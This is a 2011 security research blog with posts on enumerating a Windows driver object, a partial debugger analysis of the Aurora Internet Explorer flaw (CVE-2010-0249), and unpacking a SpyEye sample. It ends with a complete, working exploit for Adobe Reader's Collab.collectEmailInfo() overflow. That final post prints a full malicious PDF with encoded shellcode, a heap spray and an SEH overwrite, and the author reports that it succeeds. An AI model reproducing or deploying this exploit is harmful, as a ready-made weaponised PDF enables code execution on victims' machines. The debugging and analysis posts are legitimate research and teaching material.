counter

View My Stats

Sunday, October 23, 2011

Enumerating a DRIVER_OBJECT using Driver Code

 

A Driver Object has the Following structure.

typedef struct _DRIVER_OBJECT
{
SHORT Type;
SHORT Size;
PDEVICE_OBJECT DeviceObject;
ULONG Flags;
PVOID DriverStart;
ULONG DriverSize;
PVOID DriverSection;
PDRIVER_EXTENSION DriverExtension;
UNICODE_STRING DriverName;
PUNICODE_STRING HardwareDatabase;
PFAST_IO_DISPATCH FastIoDispatch;
LONG * DriverInit;
PVOID DriverStartIo;
PVOID DriverUnload;
LONG * MajorFunction[28];
} DRIVER_OBJECT, *PDRIVER_OBJECT;

Looking at  a driver in DeviceTree utility


Following is the Driver related to keyboard


image


Using Windbg we can see the Structure of the Driver.

kd> !drvobj kbdclass
Driver object (8186aae8) is for:
 \Driver\Kbdclass
Driver Extension List: (id , addr)
Device Object list:
81798a58  81864860  

Lets see the DevObject at 81864860

kd> !devobj 81864860 
Device object (81864860) is for:
 KeyboardClass0 \Driver\Kbdclass DriverObject 8186aae8
Current Irp 00000000 RefCount 1 Type 0000000b Flags 00002044

Now lets see the DriverObject at 8186aae8 which is KeyboardClass0

kd> !drvobj 8186AAE8 7
Driver object (8186aae8) is for:
 \Driver\Kbdclass
Driver Extension List: (id , addr)
Device Object list:
81798a58  81864860  
DriverEntry:   f9cb0610	
DriverStartIo: 00000000	
DriverUnload:  00000000	
AddDevice:     f9cafb02	
Dispatch routines:
[00] IRP_MJ_CREATE                      f9cacdd8	+0xf9cacdd8
[01] IRP_MJ_CREATE_NAMED_PIPE           804f320e	nt!IopInvalidDeviceRequest
[02] IRP_MJ_CLOSE                       f9cacfe8	+0xf9cacfe8
[03] IRP_MJ_READ                        f9cadc82	+0xf9cadc82
[04] IRP_MJ_WRITE                       804f320e	nt!IopInvalidDeviceRequest
[05] IRP_MJ_QUERY_INFORMATION           804f320e	nt!IopInvalidDeviceRequest
[06] IRP_MJ_SET_INFORMATION             804f320e	nt!IopInvalidDeviceRequest
[07] IRP_MJ_QUERY_EA                    804f320e	nt!IopInvalidDeviceRequest
[08] IRP_MJ_SET_EA                      804f320e	nt!IopInvalidDeviceRequest
[09] IRP_MJ_FLUSH_BUFFERS               f9cacd50	+0xf9cacd50
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION    804f320e	nt!IopInvalidDeviceRequest
[0b] IRP_MJ_SET_VOLUME_INFORMATION      804f320e	nt!IopInvalidDeviceRequest
[0c] IRP_MJ_DIRECTORY_CONTROL           804f320e	nt!IopInvalidDeviceRequest
[0d] IRP_MJ_FILE_SYSTEM_CONTROL         804f320e	nt!IopInvalidDeviceRequest
[0e] IRP_MJ_DEVICE_CONTROL              f9caea44	+0xf9caea44
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL     f9cae386	+0xf9cae386
[10] IRP_MJ_SHUTDOWN                    804f320e	nt!IopInvalidDeviceRequest
[11] IRP_MJ_LOCK_CONTROL                804f320e	nt!IopInvalidDeviceRequest
[12] IRP_MJ_CLEANUP                     f9cacd0c	+0xf9cacd0c
[13] IRP_MJ_CREATE_MAILSLOT             804f320e	nt!IopInvalidDeviceRequest
[14] IRP_MJ_QUERY_SECURITY              804f320e	nt!IopInvalidDeviceRequest
[15] IRP_MJ_SET_SECURITY                804f320e	nt!IopInvalidDeviceRequest
[16] IRP_MJ_POWER                       f9caf196	+0xf9caf196
[17] IRP_MJ_SYSTEM_CONTROL              f9cae844	+0xf9cae844
[18] IRP_MJ_DEVICE_CHANGE               804f320e	nt!IopInvalidDeviceRequest
[19] IRP_MJ_QUERY_QUOTA                 804f320e	nt!IopInvalidDeviceRequest
[1a] IRP_MJ_SET_QUOTA                   804f320e	nt!IopInvalidDeviceRequest
[1b] IRP_MJ_PNP                         f9cad798	+0xf9cad798

Now lets write a kernel mode driver code to do the same thing

/*
kd> !drvobj kbdclass
Driver object (8186aae8) is for:
 \Driver\Kbdclass
Driver Extension List: (id , addr)
Device Object list:
81798a58  81864860  
kd> !devobj 81864860 
Device object (81864860) is for:
 KeyboardClass0 \Driver\Kbdclass DriverObject 8186aae8
Current Irp 00000000 RefCount 1 Type 0000000b Flags 00002044
Dacl e13ae02c DevExt 81864918 DevObjExt 818649f8 
ExtensionFlags (0000000000)  
AttachedTo (Lower) 81864a58*** ERROR: Module load completed but symbols could not be loaded for nmfilter.sys
 \Driver\nmfilter
Device queue is not busy.
kd> !drvobj 8186AAE8
Driver object (8186aae8) is for:
 \Driver\Kbdclass
Driver Extension List: (id , addr)
Device Object list:
81798a58  81864860 
//out of the code
addr of drivr=8186AAE8 
addr of device =81798A58 
addr of irp =F9CACDD8 
*/
#include <ntddk.h> 
VOID DriverUnload(IN PDRIVER_OBJECT DriverObject);
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
	PDRIVER_OBJECT drvcopy;
	PDEVICE_OBJECT devcopy;
	UNICODE_STRING DeviceName;
	PDEVICE_OBJECT device;
	PFILE_OBJECT file;
	NTSTATUS s;
	DbgPrint("driver 7\n");//variables should be declared before
	RtlInitUnicodeString(&DeviceName,L"\\Device\\KeyboardClass0");
	s = IoGetDeviceObjectPointer(&DeviceName,FILE_ALL_ACCESS,&file,&device);
		if (!NT_SUCCESS(s))
		{
			DbgPrint("Get Device error!");
			return s;
		}
	drvcopy = device->DriverObject;//device is pointer
	DbgPrint("addr of driver=%p \n",drvcopy);
	devcopy = drvcopy->DeviceObject;
	DbgPrint("addr of device =%p \n",devcopy);
	DbgPrint("addr of irp =%p \n",drvcopy->MajorFunction[IRP_MJ_CREATE] );
	
	DriverObject->DriverUnload = DriverUnload;
	
	return STATUS_SUCCESS;
}
VOID DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
	DbgPrint("Driver Unload! \n");
}

We can see the output in DebugView


image


Well “addr of irp” in the figure is address IRP_MJ_CREATE


Thats it…..

Sunday, October 16, 2011

Reversing the Aurora Vulnerability CVE-2010-0249:

Well this is a year old vulnerability but I thought of documenting it as was quite famous.

and was over television news. Here are some links

http://indiatoday.intoday.in/story/Chinese+hackers+target+PMO/1/79215.html

http://www.wired.com/threatlevel/2010/01/operation-aurora/.

Enough of stories.

Lets move on to technical analysis.

I picked up a POC from internet and tested on my XP SP2.

I opened IE in windbg and opened the POC html with IE. IE crashed at following location.

image

Looking at the disassembly of the location:

image

We see the the Crash happens at the GetDocPtr

image

It looks like the address pointed by ecx register has invalid data which causes the access violation.

Looking at the stack trace

image

Looking at the function mshtml!CEventObj::GenericGetElement

image

It looks like ecx value is derived from the value at address pointed by esi.

restart windbg and set breapoint

bp mshtml!CEventObj::GenericGetElement+0x97

the press g. when internet explorer comes up open the html page.


We break at the point and view the contents of address pointed by esi.

0:000> dds poi(esi) l1
036f7b30  7d4c1850 mshtml!CImgElement::`vftable'
0:000> dds ecx l1
036f7b30  7d4c1850 mshtml!CImgElement::`vftable'

We see that the  that the ecx points CImgElement Vtable is


Looking at the Vtable

0:000> dds 7d4c1850 l10
7d4c1850  7d6de377 mshtml!CImgElement::PrivateQueryInterface
7d4c1854  7d4f43c9 mshtml!CElement::PrivateAddRef
7d4c1858  7d4f4cdd mshtml!CElement::PrivateRelease
7d4c185c  7d519a0e mshtml!C1DElement::`vector deleting destructor'
7d4c1860  7d56c685 mshtml!CImgElement::Init
7d4c1864  7d56c5e0 mshtml!CImgElement::Passivate
7d4c1868  7d63ba1f mshtml!CBase::GetEnabled
7d4c186c  7d63ba1f mshtml!CBase::GetEnabled
7d4c1870  7d63b1f2 mshtml!CBase::GetPages
7d4c1874  7d63b644 mshtml!CBase::InterfaceSupportsErrorInfo
7d4c1878  7d6df0f8 mshtml!CImgElement::QueryStatus
7d4c187c  7d6dff5f mshtml!CImgElement::Exec
7d4c1880  7d4fad5c mshtml!CRect::CRect
7d4c1884  7d4f4e9d mshtml!CElement::SecurityContext
7d4c1888  7d4f7c1c mshtml!CBase::SecurityContextAllowsAccess
7d4c188c  7d5e71d8 mshtml!CElement::DesignMode

We can use the following winbg command to automate to see what all variables are created at esi at the address

bp mshtml!CEventObj::GenericGetElement+0x93 ".printf \"esi = [%08x] \",esi;dds poi(esi) l1;gc"

I press g in windbg and see the following

esi = [036f7f20] 036f7b30  7d4c1850 mshtml!CImgElement::`vftable'
esi = [036f7f20] 036f7b30  7d4c1850 mshtml!CImgElement::`vftable'
ModLoad: 75c50000 75cbe000   C:\WINDOWS\system32\jscript.dll
esi = [036f6b60] aaaaaaaa  ????????
(8b8.768): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=036f7bc0 ebx=aaaaaaaa ecx=aaaaaaaa edx=03703cd0 esi=036f6b60 edi=ffffffff
eip=7d4f2531 esp=0013e154 ebp=0013e174 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
mshtml!CElement::GetDocPtr:
7d4f2531 8b01            mov     eax,dword ptr [ecx]  ds:0023:aaaaaaaa=????????

We see that esi always points the CImgElement  is created at the place.

Restart windbg clear all the old breakpoints using bc *.

Let us find which all function cause the exception and

I set another breapoint

bp mshtml!CEventObj::GenericGetElement+0x97

and run windbg. Windbg breaks at the following location

Breakpoint 0 hit
eax=0013e4c8 ebx=036f7b30 ecx=036f7b30 edx=0013dfc0 esi=036f7f20 edi=ffffffff
eip=7d6d5250 esp=0013df7c ebp=0013df98 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CEventObj::GenericGetElement+0x97:
7d6d5250 e8dcd2e1ff      call    mshtml!CElement::GetDocPtr (7d4f2531)

Lets set breakpoint at the address pointed by ecx and see which function write on the address ecx=036f7b30

After the breakpoint is hit I clear all the breakpoints and set breakpoint on write

ecx=036f7b30

0:000> bc *
0:000> ba w4 036f7b30 ".printf \"eip=[%08x] \n\n \",eip;u eip l1;gc"
0:000> g
eip=[7d519a43]    mshtml!CElement::~CElement+0x10:
7d519a43 7406            je      mshtml!CElement::~CElement+0x18 (7d519a4b)
ModLoad: 75c50000 75cbe000   C:\WINDOWS\system32\jscript.dll
eip=[7d4f2c22]    mshtml!CStr::Set+0x3e:
7d4f2c22 83c004          add     eax,4
(464.960): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=036f8a50 ebx=aaaaaaaa ecx=aaaaaaaa edx=03703df0 esi=036f7fc0 edi=ffffffff
eip=7d4f2531 esp=0013e154 ebp=0013e174 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
mshtml!CElement::GetDocPtr:
7d4f2531 8b01            mov     eax,dword ptr [ecx]  ds:0023:aaaaaaaa=????????

It looks like some of the functions which write the address are


shtml!CElement::~CElement
mshtml!CStr::Set

 


To be continued. . .

Tuesday, October 11, 2011

Unpacking Custom Packers

 

There are several articles on internet about unpacking Packed Executables. Most demonstrate the ESP trick. This trick may not work in most packers. These days most malwares use custom packers which are created using some toolkit. You can find lot of malwares of such type like Zbot, SpyeEye, Cycbot.

How PE Packers work

PE Packers compress the PE sections or some other data using some compression algorithms like LZMA ,LZSS,APLIB etc. So to before the running the actual malicious code the packer would

1)Decompress the compressed code:

To do this usually it allocates some space using VirtualAlloc(),ZwAllocateVirtualMemory().Then it will decompress the data to the allocated memory.

2)Fixes the imports:

The imports are fixed so the malware can use the imported API’s . To resolve the import addresses it will use the API’ GetProcAddress() .

3)Jump to OEP:

Finally jumps to the OEP where the the actual malware code begins. Many malwares use multilevel packers.

How to Unpack:

We can set breakpoint on VirtualAlloc() first then after the breakpoint is hit we can remove the breakpoint on VirtualAlloc() and set breakpoint GetProcAddress().

We see that GetProcAddress() would be called repetedly in the loop. This loop is used to resolve all the API’s in the dll. We bypass the loop after that continue debugging.

After few lines of codes we will reach the OEP.

DEMO:

I have taken a sample of SpyEye for the demo.

I had set breakpoint on VirtualAlloc()

image

Then I set breakpoint on GetProcAddress() and break at the following

image

 

We see that getProcAddress is called in loop. We bypass the loop and little below u can see a jump seems like jump to OEP.

image

I follow the jump

image

 

This is another layer of packer .

The trick applies to most packers. May not work in case packers combined with protectors like asprotect.

Feel free to comment

Friday, July 15, 2011

Heap Spraying Adobe: exploiting collab.collectemailinfo()

 

Heap Spray Concept:

First of all I would like readers to know that heap spray not a vulnerability like heap

overflow but it a technique used to exploit vulnerabilities. It is basically used  to exploit browsers,pdf reader where embedded languages like javascript comes into play.

The reason is javascript variables are created in the heap rather than stack variables.

generally we create a large of javascript variables say using arrays

array = new array()

nops = %u9090%u9090………….%u9090;

shellcode=%u6565%u………………;

arrar[1] = nop + shellcode;

arry[2] =  nop + shellcode;

arr[300] = nop + shellcode;

This fills the heap area with a combination of nops and shellcode. Usually heap resides in higher memory area like 0x0a0a0a0a …0x0c0c0c0c. We try to fill these address with the combination of nops and shellcode and later we redirect the flow to these address so that our shellcode gets executed.

Enough of theory lets move on to practical implementation.

I have tried the exploit with adobe 8.1.1 and older. A stack overflow bug exists in Collab.collectEmailInfo() in adobe. Exploitation involves spraying the heap then overwriting the EIP with heap address 0x0a0a0a0a

Lets start:

I created a PDF template using Didier Stevens tools

%PDF-1.1
1 0 obj
<<
 /Type /Catalog
 /Outlines 2 0 R
 /Pages 3 0 R
 /OpenAction 7 0 R
>>
endobj
2 0 obj
<<
 /Type /Outlines
 /Count 0
>>
endobj
3 0 obj
<<
 /Type /Pages
 /Kids [4 0 R]
 /Count 1
>>
endobj
4 0 obj
<<
 /Type /Page
 /Parent 3 0 R
 /MediaBox [0 0 612 792]
 /Contents 5 0 R
 /Resources <<
             /ProcSet [/PDF /Text]
             /Font << /F1 6 0 R >>
            >>
>>
endobj
5 0 obj
<< /Length 56 >>
stream
BT /F1 12 Tf 100 700 Td 15 TL (JavaScript example) Tj ET
endstream
endobj
6 0 obj
<<
 /Type /Font
 /Subtype /Type1
 /Name /F1
 /BaseFont /Helvetica
 /Encoding /MacRomanEncoding
>>
endobj
7 0 obj
<<
 /Type /Action
 /S /JavaScript
 /JS (
  this.collabStore = Collab.collectEmailInfo({subj: "ss",msg: "hi"});
)
>>
endobj
xref
0 8
0000000000 65535 f
0000000012 00000 n
0000000109 00000 n
0000000165 00000 n
0000000234 00000 n
0000000439 00000 n
0000000553 00000 n
0000000677 00000 n
trailer
<<
 /Size 8
 /Root 1 0 R
>>
startxref
784
%%EOF

Code List 1


You can put any javascript code in the

 /JS () in the above code and execute javascript.
 
The following code overflows the stack
var crsh = unescape("%u1212");
while (crsh.length < 0x2000)
if (app.viewerVersion >= 6.0)
 {
  this.collabStore = Collab.collectEmailInfo({subj: "",msg: crsh});
 }
Code List 2
Place the code in /JS ()  Code List 1
Then open adobe reader in ollydbg and run it. Then open the above pdf in adobe.If there is exception in ollydbg then press
shift+f9 till the eip gets overwritten
image 
Also go to view SEH chain in ollydbg->view->SEH chain
image 
So we see the SEH chain gets overwritten
Now lets create the exploit code.
Following code is use to spray the heap with shellcode and nops.
function HeapSpray()
{
Array2 = new Array();
var Shellcode = unescape("%u3c73%u343f%u3514%u2a1c%ud6d2%ub624%u2c7c%ud538%ub8b5%uf533%u7e37%u7925%ue031%u9027%u19b2%u4be2%u4078%u097b%u71f8%u9948%ubf8d%u1d9f%u4315%u767d%u752d%u494e%u98b0%u727f%u7a76%ub30c%u8392%ue2d1%u3d7c%u91b9%u2270%u2ffc%ub2a8%u2c92%u4796%ua90d%u357b%ub49f%u98b0%u04b3%uf539%u46b8%uf929%u7d4f%u7315%ubf66%u778d%ub54a%u417e%ue319%u0243%ubbd5%ueb31%u781c%u9325%ube42%u9990%u2405%u103c%ud4d0%ufd84%u1879%u2be1%u74f8%u0827%u40d6%ub72d%ue009%u491d%u3771%u3fb1%u6748%u7534%ub64e%u9b0c%u3dba%u147c%u8797%ue1f7%u8c4b%u0ce2%u808d%u66f9%u404a%u2f3d%ue311%u277a%u2442%u38bf%u93fd%u25b4%u491c%u0191%u1df8%u9747%u4f71%u9048%u7e35%ub54e%u4bb8%u99b0%ud603%u373c%u78b2%u702c%ua843%u04b1%u85b6%u7deb%ufc6b%u7bb9%u6773%ub3a9%u7672%ube0d%u4115%u0534%u7492%uf512%ud50a%u7f79%u2175%u2de0%u9b9f%uff83%uc0c7%u77d4%u3f46%uba96%u98b7%u14bb%uba24%u7d2f%u4377%u7690%ubf3d%u728d%ufd30%u49b4%ub266%u89bb%ue2d2%u2570%ub09f%u3c78%ub840%u4e27%ue01a%u3746%ub12d%u4297%uf988%u7b04%u3579%u3275%uc6fe%ue3c1%uf869%u2873%u47eb%u4b7f%ub998%u3414%u9691%uf523%ufc13%u7a93%u9967%ud620%u051d%u74a8%u2271%u4ad4%u15a9%u484f%ud51b%u3fbe%ub6b3%u0cb7%ue181%u922c%u0d9b%u1c7c%u7eb5%u7341%u667a%u70be%u7974%u757b%ub737%ud33a%u9ff9%ub62f%u2598%u4034%u9067%u777f%uf60b%u1de3%u3993%u4ae2%u422d%u1571%u247e%u4792%ub5a8%u3fb0%u7d0c%ud62a%u86b1%ue0f7%u8d4f%ua943%u761c%u4e0d%u05bb%u3327%u46f5%u3d9b%u3c35%u3b72%u04f8%uf621%u4bd4%u41b8%u7897%ufd22%u9114%u7cb9%ufc03%ud186%u20eb%u49e1%ub3bf%u9699%u2cb4%u48b2%ud533%u7bba%u8366%u72e3%u7014%ud069%u98d4%u963c%u3f74%u7877%u737a%u8d49%u1941%u71e1%u0105%ub2f8%u4f4a%u0d7c%ud30a%u79eb%uf52b%u34b5%ube43%u97b7%u1c04%ub990%u2c35%u819f%uf9c1%u6b48%u93fc%u3775%u0c2f%ua9b3%u272d%u91ba%u7da8%u9225%u994e%ud584%ubb46%u761d%ub115%u1a7f%u42e0%ub647%u9bb8%ud631%u243d%ufd0b%ub0bf%ue211%ub467%u7e4b%u7c7b%u7e78%u7477%u9740%u109b%u05e3%ub13c%u85bb%u47d5%u6670%ub741%uf829%u3a72%u71eb%u2f7a%u7d46%u4875%u7fb9%u1d04%u894f%u37e0%u93b5%u7973%ufc3b%ub64e%u9298%u9f3f%ua9a8%ufd08%u1cbf%u144a%u340c%u322c%u2de1%ub296%uba67%u4976%uf502%u25be%u4b40%ue280%u9943%u7bb3%ue030%ub027%ub4b8%u7691%u7015%u7942%ud638%u3974%u35eb%ue288%u7c24%ud412%ud287%u0de3%u3d77%u908d%u1b71%u7ef9%uf528%u9966%u3c73%u922c%u2a72%u0df9%u4a4f%ud523%u187f%u7afd%u0935%u2fe1%ubb47%u48be%ub2b6%u7d91%u7805%ud413%ub8b0%u1475%u438d%u9634%u044b%u970c%u8cb9%u25d6%u1d90%u931c%u27ba%ub3bf%ua846%u24a9%uc041%u40f8%u153d%u4e42%ub49f%ub5b7%ufc3f%u492d%ub167%u9b98%uda37%ubace%ufdc9%u156d%u74d9%uf424%u2b58%ub1c9%u3133%u1750%u5003%u8317%uf909%ue08f%uea75%u0bd9%ueb85%u82b9%uda60%uf1eb%u4fe1%u713c%u63a7%ud7b7%uf753%uffb5%ub054%u2670%u415b%ue6b5%u8137%u9ad7%ud645%ua237%u2b86%ue339%uc4fa%ubc6b%u7671%uc99c%u4bc7%u1d9d%uf34c%u18e5%u8092%u225f%u39c2%u6ceb%u32fa%u4cb3%u97fb%ub1a7%u9cb2%u411c%u7545%uaa6d%ub974%u9522%u34b9%ud13a%ua77d%u2949%u5a7e%uea4a%u80fd%uefdf%u43a5%ud447%u8754%u9f1e%u6c5a%uc754%u737e%u73b9%uf87a%u543c%uba0b%u701a%u1850%u2102%ucf3c%u313b%ub098%u3999%ua40a%u6398%u3b40%u1e28%u3b2d%u2132%u541d%uaa03%u23f2%u799c%udcb7%u20d6%u7491%ub0bf%u18a0%u6f40%u24e6%u9ac3%ud296%ueedb%u9f93%u025b%ub0e9%u2409%ub05e%u471b%u2201%ua6c7%uc2a4%ub762");
var SprayValue = unescape("%u9090%u9090");
do{SprayValue +=SprayValue}while(SprayValue.length < 800000/2);
for(j=0;j<200;j++) Array2[j]=SprayValue+Shellcode;
}
You can adjust the values 800000/2 and j<200 and test the exploit.
The following code is used to do a SEH overwrite which redirects the code to 0x0a0a0a0a on heap where our shellcode resides.
var crsh = unescape("%u0a0a%u0a0a");
while (crsh.length < 0x4000)
 crsh += crsh;
if (app.viewerVersion >= 6.0)
 {
  this.collabStore = Collab.collectEmailInfo({subj: "",msg: crsh});
 }
Now the complete exploit code alltogether.
%PDF-1.1
1 0 obj
<<
 /Type /Catalog
 /Outlines 2 0 R
 /Pages 3 0 R
 /OpenAction 7 0 R
>>
endobj
2 0 obj
<<
 /Type /Outlines
 /Count 0
>>
endobj
3 0 obj
<<
 /Type /Pages
 /Kids [4 0 R]
 /Count 1
>>
endobj
4 0 obj
<<
 /Type /Page
 /Parent 3 0 R
 /MediaBox [0 0 612 792]
 /Contents 5 0 R
 /Resources <<
             /ProcSet [/PDF /Text]
             /Font << /F1 6 0 R >>
            >>
>>
endobj
5 0 obj
<< /Length 56 >>
stream
BT /F1 12 Tf 100 700 Td 15 TL (JavaScript example) Tj ET
endstream
endobj
6 0 obj
<<
 /Type /Font
 /Subtype /Type1
 /Name /F1
 /BaseFont /Helvetica
 /Encoding /MacRomanEncoding
>>
endobj
7 0 obj
<<
 /Type /Action
 /S /JavaScript
 /JS (
function HeapSpray()
{
Array2 = new Array();
var Shellcode = unescape("%u3c73%u343f%u3514%u2a1c%ud6d2%ub624%u2c7c%ud538%ub8b5%uf533%u7e37%u7925%ue031%u9027%u19b2%u4be2%u4078%u097b%u71f8%u9948%ubf8d%u1d9f%u4315%u767d%u752d%u494e%u98b0%u727f%u7a76%ub30c%u8392%ue2d1%u3d7c%u91b9%u2270%u2ffc%ub2a8%u2c92%u4796%ua90d%u357b%ub49f%u98b0%u04b3%uf539%u46b8%uf929%u7d4f%u7315%ubf66%u778d%ub54a%u417e%ue319%u0243%ubbd5%ueb31%u781c%u9325%ube42%u9990%u2405%u103c%ud4d0%ufd84%u1879%u2be1%u74f8%u0827%u40d6%ub72d%ue009%u491d%u3771%u3fb1%u6748%u7534%ub64e%u9b0c%u3dba%u147c%u8797%ue1f7%u8c4b%u0ce2%u808d%u66f9%u404a%u2f3d%ue311%u277a%u2442%u38bf%u93fd%u25b4%u491c%u0191%u1df8%u9747%u4f71%u9048%u7e35%ub54e%u4bb8%u99b0%ud603%u373c%u78b2%u702c%ua843%u04b1%u85b6%u7deb%ufc6b%u7bb9%u6773%ub3a9%u7672%ube0d%u4115%u0534%u7492%uf512%ud50a%u7f79%u2175%u2de0%u9b9f%uff83%uc0c7%u77d4%u3f46%uba96%u98b7%u14bb%uba24%u7d2f%u4377%u7690%ubf3d%u728d%ufd30%u49b4%ub266%u89bb%ue2d2%u2570%ub09f%u3c78%ub840%u4e27%ue01a%u3746%ub12d%u4297%uf988%u7b04%u3579%u3275%uc6fe%ue3c1%uf869%u2873%u47eb%u4b7f%ub998%u3414%u9691%uf523%ufc13%u7a93%u9967%ud620%u051d%u74a8%u2271%u4ad4%u15a9%u484f%ud51b%u3fbe%ub6b3%u0cb7%ue181%u922c%u0d9b%u1c7c%u7eb5%u7341%u667a%u70be%u7974%u757b%ub737%ud33a%u9ff9%ub62f%u2598%u4034%u9067%u777f%uf60b%u1de3%u3993%u4ae2%u422d%u1571%u247e%u4792%ub5a8%u3fb0%u7d0c%ud62a%u86b1%ue0f7%u8d4f%ua943%u761c%u4e0d%u05bb%u3327%u46f5%u3d9b%u3c35%u3b72%u04f8%uf621%u4bd4%u41b8%u7897%ufd22%u9114%u7cb9%ufc03%ud186%u20eb%u49e1%ub3bf%u9699%u2cb4%u48b2%ud533%u7bba%u8366%u72e3%u7014%ud069%u98d4%u963c%u3f74%u7877%u737a%u8d49%u1941%u71e1%u0105%ub2f8%u4f4a%u0d7c%ud30a%u79eb%uf52b%u34b5%ube43%u97b7%u1c04%ub990%u2c35%u819f%uf9c1%u6b48%u93fc%u3775%u0c2f%ua9b3%u272d%u91ba%u7da8%u9225%u994e%ud584%ubb46%u761d%ub115%u1a7f%u42e0%ub647%u9bb8%ud631%u243d%ufd0b%ub0bf%ue211%ub467%u7e4b%u7c7b%u7e78%u7477%u9740%u109b%u05e3%ub13c%u85bb%u47d5%u6670%ub741%uf829%u3a72%u71eb%u2f7a%u7d46%u4875%u7fb9%u1d04%u894f%u37e0%u93b5%u7973%ufc3b%ub64e%u9298%u9f3f%ua9a8%ufd08%u1cbf%u144a%u340c%u322c%u2de1%ub296%uba67%u4976%uf502%u25be%u4b40%ue280%u9943%u7bb3%ue030%ub027%ub4b8%u7691%u7015%u7942%ud638%u3974%u35eb%ue288%u7c24%ud412%ud287%u0de3%u3d77%u908d%u1b71%u7ef9%uf528%u9966%u3c73%u922c%u2a72%u0df9%u4a4f%ud523%u187f%u7afd%u0935%u2fe1%ubb47%u48be%ub2b6%u7d91%u7805%ud413%ub8b0%u1475%u438d%u9634%u044b%u970c%u8cb9%u25d6%u1d90%u931c%u27ba%ub3bf%ua846%u24a9%uc041%u40f8%u153d%u4e42%ub49f%ub5b7%ufc3f%u492d%ub167%u9b98%uda37%ubace%ufdc9%u156d%u74d9%uf424%u2b58%ub1c9%u3133%u1750%u5003%u8317%uf909%ue08f%uea75%u0bd9%ueb85%u82b9%uda60%uf1eb%u4fe1%u713c%u63a7%ud7b7%uf753%uffb5%ub054%u2670%u415b%ue6b5%u8137%u9ad7%ud645%ua237%u2b86%ue339%uc4fa%ubc6b%u7671%uc99c%u4bc7%u1d9d%uf34c%u18e5%u8092%u225f%u39c2%u6ceb%u32fa%u4cb3%u97fb%ub1a7%u9cb2%u411c%u7545%uaa6d%ub974%u9522%u34b9%ud13a%ua77d%u2949%u5a7e%uea4a%u80fd%uefdf%u43a5%ud447%u8754%u9f1e%u6c5a%uc754%u737e%u73b9%uf87a%u543c%uba0b%u701a%u1850%u2102%ucf3c%u313b%ub098%u3999%ua40a%u6398%u3b40%u1e28%u3b2d%u2132%u541d%uaa03%u23f2%u799c%udcb7%u20d6%u7491%ub0bf%u18a0%u6f40%u24e6%u9ac3%ud296%ueedb%u9f93%u025b%ub0e9%u2409%ub05e%u471b%u2201%ua6c7%uc2a4%ub762");
var SprayValue = unescape("%u9090%u9090");
do{SprayValue +=SprayValue}while(SprayValue.length < 800000/2);
for(j=0;j<200;j++) Array2[j]=SprayValue+Shellcode;
}
HeapSpray();
var crsh = unescape("%u0a0a%u0a0a");
while (crsh.length < 0x4000)
 crsh += crsh;
if (app.viewerVersion >= 6.0)
 {
  this.collabStore = Collab.collectEmailInfo({subj: "",msg: crsh});
 }
)
>>
endobj
xref
0 8
0000000000 65535 f
0000000012 00000 n
0000000109 00000 n
0000000165 00000 n
0000000234 00000 n
0000000439 00000 n
0000000553 00000 n
0000000677 00000 n
trailer
<<
 /Size 8
 /Root 1 0 R
>>
startxref
784
%%EOF



And the calc pops up.


image


So here is our working exploit.


Thanks to my friend Amit Malik who helped me to make the exploit reliable.


Tried on tested on Windows XP SP2 adobe version 8.1.1  .


references:http://grey-corner.blogspot.com/2010/01/heap-spray-exploit-tutorial-internet.html